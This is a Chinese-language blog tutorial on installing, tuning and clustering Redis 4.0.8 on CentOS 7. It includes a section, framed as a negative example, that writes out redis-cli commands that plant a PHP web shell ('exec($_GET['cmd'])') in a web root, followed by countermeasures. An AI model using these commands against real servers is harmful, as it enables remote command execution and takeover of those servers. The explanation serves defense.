CentOS7.X安装Redis-4.0.8以及Redis集群搭建

本文涉及的产品
云数据库 Tair(兼容Redis),内存型 2GB
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
简介: CentOS7.X安装Redis-4.0.8以及Redis集群搭建

我的个人网站

安装redis

  1. 安装前的准备

    yum install \
    vim \
    wget \
    make \
    gcc \
    gcc-c++ \
    automake \
    autoconf \
    -y \
  2. 下载解压并安装

    cd /root
    wget http://download.redis.io/releases/redis-4.0.8.tar.gz
    tar -zxzf redis-4.0.8.tar.gz
    cd redis-4.0.8
    make PREFIX=/usr/local/redis/ install
  3. 创建配置中要求的数据文件存储位置

    mkdir /data
    mkdir /data/redis
    mkdir /usr/local/redis/log
  4. 添加修改配置文件参考配置

    cp ./redis.conf /usr/local/redis
    vim /usr/local/redis/redis.conf
    
    # IP绑定
    bind 127.0.0.1 192.168.0.111
    # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启)
    protected-mode yes
    # 访问端口
    port 6379
    # 连接超时,单位S,0为不启用超时
    timeout 0
    # 以守护进程运行
    daemonize yes
    # 数据文件路径
    dir /data/redis
    # 进程ID文件的路径
    pidfile /usr/local/redis/log/redis.pid
    # 日志文件路径
    logfile /usr/local/redis/log/redis.log
    # 开启键过期删除通知
    notify-keyspace-events Ex
    
    ESC
    :wq
    
    # 以下安全配置选项仅作参考
        # 禁用部分危险命令
        rename-command FLUSHALL ""
        rename-command CONFIG   ""
        rename-command EVAL     ""
        # 添加访问密码
        requirepass ********
        # IP绑定本机
        bind 127.0.0.1
  5. 性能优化

    # 编辑/etc/rc.local
    vim /etc/rc.local
    
    echo never > /sys/kernel/mm/transparent_hugepage/enabled
    
    ESC
    :wq
    
    # 添加/etc/rc.local执行权限
    chmod +x /etc/rc.d/rc.local
    
    # 编辑/etc/sysctl.conf
    vim /etc/sysctl.conf
    
    vm.overcommit_memory = 1
    net.core.somaxconn = 1024
    
    ESC
    :wq
    
    # 立即解决
    echo never > /sys/kernel/mm/transparent_hugepage/enabled
    echo 1024 > /proc/sys/net/core/somaxconn
    sysctl vm.overcommit_memory=1
    sysctl -p
  6. 修改目录归属

    useradd -s /sbin/nologin -M redis
    chown -R redis:redis /data/redis
    chown -R redis:redis /usr/local/redis
  7. 启动redis并设置开机启动

    # 进入单元文件目录
    cd /etc/systemd/system
    
    # 创建redis单元文件,格式为: [单元文件名].[单元文件类型]
    vim redis.service
    
    [Unit]
    Description=Start redis on boot.
    After=default.target network.target
    
    [Service]
    User=redis
    Group=redis
    Type=forking
    PIDFile=/usr/local/redis/log/redis.pid
    ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
    ExecReload=/bin/kill -s HUP $MAINPID
    ExecStop=/bin/kill -s QUIT $MAINPID
    PrivateTmp=false
    Restart=always
    
    [Install]
    WantedBy=multi-user.target
    
    ESC
    :wq
    
    # 修改文件权限为只有root用户可以编辑该文件
    chown -R root:root /etc/systemd/system/redis.service
    chmod -R 644 /etc/systemd/system/redis.service
    
    # 更新systemd
    systemctl daemon-reload
    systemctl enable redis
    systemctl start redis
  8. 存入数据

    /usr/local/redis/bin/redis-cli -h 127.0.0.1
    
    set num 123
    save
    get num
    quit
  9. 批量删除匹配规则数据

    redis-cli keys [匹配规则]|xargs redis-cli del

Redis宕机 aof文件损坏 启动失败

  1. 拷贝aof文件
  2. 修复坏损的aof文件

    redis-check-aof --fix [aof文件名]
  3. 重新启动Redis

Redis漏洞webshell的利用

参考链接

  1. Redis该漏洞用到的原理如下

    1. redis原生支持通过'redis-cli>config set'在不重启redis服务的情况
      下,动态修改配置dir、dbfilename;
    2. redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执
      行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文

    件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web
    目录,则/www/test.php则会被人利用,成为入侵你服务器的入口;

  2. 漏洞举例(这是一个负面教材)

    1. redis以超级管理员用户root运行
    2. Nginx以超级管理员用户root启动,子进程也以root运行
    3. web服务器为nginx,并做如下配置:

      server {
          listen       x;
          server_name  xxx.xxx.com;
          root         /www;
      
          location / {
              index    index.php index.html index.htm;
          }
      
          location ~ \.php$ {
              fastcgi_index  index.php;
              fastcgi_pass   127.0.0.1:9000;
              fastcgi_param  SCRIPT_NAME      $fastcgi_script_name;
              fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
              include        fastcgi_params;
          }
      }
    4. 通过redis-cli执行了以下命令

      config set dir /www/
      config set dbfilename test.php
      set test "<?php exec($_GET['cmd']); ?>"
      save
    5. 这时候可怕的事情出现了

      1. 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到
      2. 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令)

Redis漏洞webshell的防范

  1. 不要线上使用redis的web管理工具
  2. redis以低权限用户运行(如rediser等让人想不到的用户名)
  3. redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24)
  4. redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "")
  5. web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程)

redis集群(cluster方式)

  1. 集群前的配置(单机两服务测试6379,6380)

    # 内网IP:192.168.0.100
  2. 修改redis.conf

    vim /usr/local/redis/redis.conf
    
    # 启用cluster
    cluster-enabled yes
    # 调用cluster配置文件
    cluster-config-file nodes-6379.conf
    # 集群超时
    cluster-node-timeout 15000
    # 关闭宕机全停
    cluster-require-full-coverage no
    # 集群从属元素个数
    cluster-slave-validity-factor 10
    # 从机数最低迁移值(master至少有两台slave,才能做slave迁移)
    cluster-migration-barrier 1
    
    ESC
    :wq
  3. 配置文件添加

    yum install ruby
    gem install redis
    
    cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup
    cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf
    cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf
    
    mkdir /usr/local/redis/data/6379
    mkdir /usr/local/redis/data/6380
  4. 修改redis-6379.conf

    vim /usr/local/redis/redis-6379.conf
    
    unixsocket /usr/local/redis/data/6379/redis.sock
    pidfile /usr/local/redis/log/redis_6379.pid
    logfile /usr/local/redis/log/redis_6379.log
    dir /usr/local/redis/data/6379/
    bind 192.168.0.100
    port 6379
    
    ESC
    :wq
  5. 修改redis-6380.conf

    vim /usr/local/redis/redis-6380.conf
    
    unixsocket /usr/local/redis/data/6380/redis.sock
    pidfile /usr/local/redis/log/redis_6380.pid
    logfile "/usr/local/redis/log/redis_6380.log"
    dir /usr/local/redis/data/6380/
    bind 192.168.0.100
    port 6380
    
    ESC
    :wq
  6. 修改开机启动

    vim /etc/rc.local
    
    /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf
    /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf
    
    ESC
    :wq
  7. 创建cluster

    cd /root/redis/src/
    # 查看帮助
    ./redis-trib.rb help
    # 添加绑定
    ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380
  8. 集群测试

    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c
  9. 正常关闭(不要强制关闭)

    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown
  10. 领支付宝红包支持作者

    扫码领支付宝红包

相关实践学习
基于Redis实现在线游戏积分排行榜
本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
云数据库 Redis 版使用教程
云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore &nbsp; &nbsp; ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库&nbsp;ECS 实例和一台目标数据库&nbsp;RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&amp;RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
相关文章
|
17天前
|
SQL 存储 Linux
从配置源到数据库初始化一步步教你在CentOS 7.9上安装SQL Server 2019
【11月更文挑战第8天】本文介绍了在 CentOS 7.9 上安装 SQL Server 2019 的详细步骤,包括系统准备、配置安装源、安装 SQL Server 软件包、运行安装程序、初始化数据库以及配置远程连接。通过这些步骤,您可以顺利地在 CentOS 系统上部署和使用 SQL Server 2019。
|
17天前
|
SQL 存储 Linux
从配置源到数据库初始化一步步教你在CentOS 7.9上安装SQL Server 2019
【11月更文挑战第7天】本文介绍了在 CentOS 7.9 上安装 SQL Server 2019 的详细步骤,包括系统要求检查与准备、配置安装源、安装 SQL Server 2019、配置 SQL Server 以及数据库初始化(可选)。通过这些步骤,你可以成功安装并初步配置 SQL Server 2019,进行简单的数据库操作。
|
2月前
|
Linux 网络安全 数据安全/隐私保护
Linux系统之Centos7安装cockpit图形管理界面
【10月更文挑战第12天】Linux系统之Centos7安装cockpit图形管理界面
92 1
Linux系统之Centos7安装cockpit图形管理界面
|
25天前
|
关系型数据库 MySQL Linux
在 CentOS 7 中通过编译源码方式安装 MySQL 数据库的详细步骤,并与使用 RPM 包安装进行了对比
本文介绍了在 CentOS 7 中通过编译源码方式安装 MySQL 数据库的详细步骤,并与使用 RPM 包安装进行了对比。通过具体案例,读者可以了解如何准备环境、下载源码、编译安装、配置服务及登录 MySQL。编译源码安装虽然复杂,但提供了更高的定制性和灵活性,适用于需要高度定制的场景。
70 3
|
26天前
|
关系型数据库 MySQL Linux
在 CentOS 7 中通过编译源码安装 MySQL 数据库的详细步骤,并与使用 RPM 包安装进行了对比。
本文介绍了在 CentOS 7 中通过编译源码安装 MySQL 数据库的详细步骤,并与使用 RPM 包安装进行了对比。内容涵盖准备工作、下载源码、编译安装、配置服务、登录设置及实践心得,帮助读者根据需求选择最适合的安装方法。
46 2
|
27天前
|
存储 SQL 关系型数据库
2024Mysql And Redis基础与进阶操作系列(1)作者——LJS[含MySQL的下载、安装、配置详解步骤及报错对应解决方法]
Mysql And Redis基础与进阶操作系列(1)之[MySQL的下载、安装、配置详解步骤及报错对应解决方法]
|
28天前
|
关系型数据库 MySQL Linux
在 CentOS 7 中通过编译源码方式安装 MySQL 数据库的详细步骤,包括准备工作、下载源码、编译安装、配置 MySQL 服务、登录设置等。
本文介绍了在 CentOS 7 中通过编译源码方式安装 MySQL 数据库的详细步骤,包括准备工作、下载源码、编译安装、配置 MySQL 服务、登录设置等。同时,文章还对比了编译源码安装与使用 RPM 包安装的优缺点,帮助读者根据需求选择最合适的方法。通过具体案例,展示了编译源码安装的灵活性和定制性。
82 2
|
2月前
|
Linux 知识图谱
Centos7安装killall,fuser, killall,pstree和pstree.x11
通过上述步骤,您已在CentOS 7系统中成功部署了killall、fuser、pstree以及pstree.x11,为高效管理系统进程打下了坚实基础。更多关于服务器管理与优化的知识,获取全面技术支持与解决方案。
50 1
|
2月前
|
监控 安全 Linux
CentOS7下安装配置ntp服务的方法教程
通过以上步骤,您不仅能在CentOS 7系统中成功部署NTP服务,还能确保其配置合理、运行稳定,为系统时间的精确性提供保障。欲了解更多高级配置或遇到特定问题,提供了丰富的服务器管理和优化资源,可作为进一步学习和求助的平台。
75 1
|
14天前
|
存储 安全 Linux
VMware安装CentOS7
【11月更文挑战第11天】本文详细介绍了在 VMware 中安装 CentOS 7 的步骤,包括准备工作、创建虚拟机、配置虚拟机硬件和安装 CentOS 7。具体步骤涵盖下载 CentOS 7 镜像文件、安装 VMware 软件、创建和配置虚拟机硬件、启动虚拟机并进行安装设置,最终完成 CentOS 7 的安装。在安装过程中,需注意合理设置磁盘分区、软件选择和网络配置,以确保系统的性能和功能满足需求。
110 0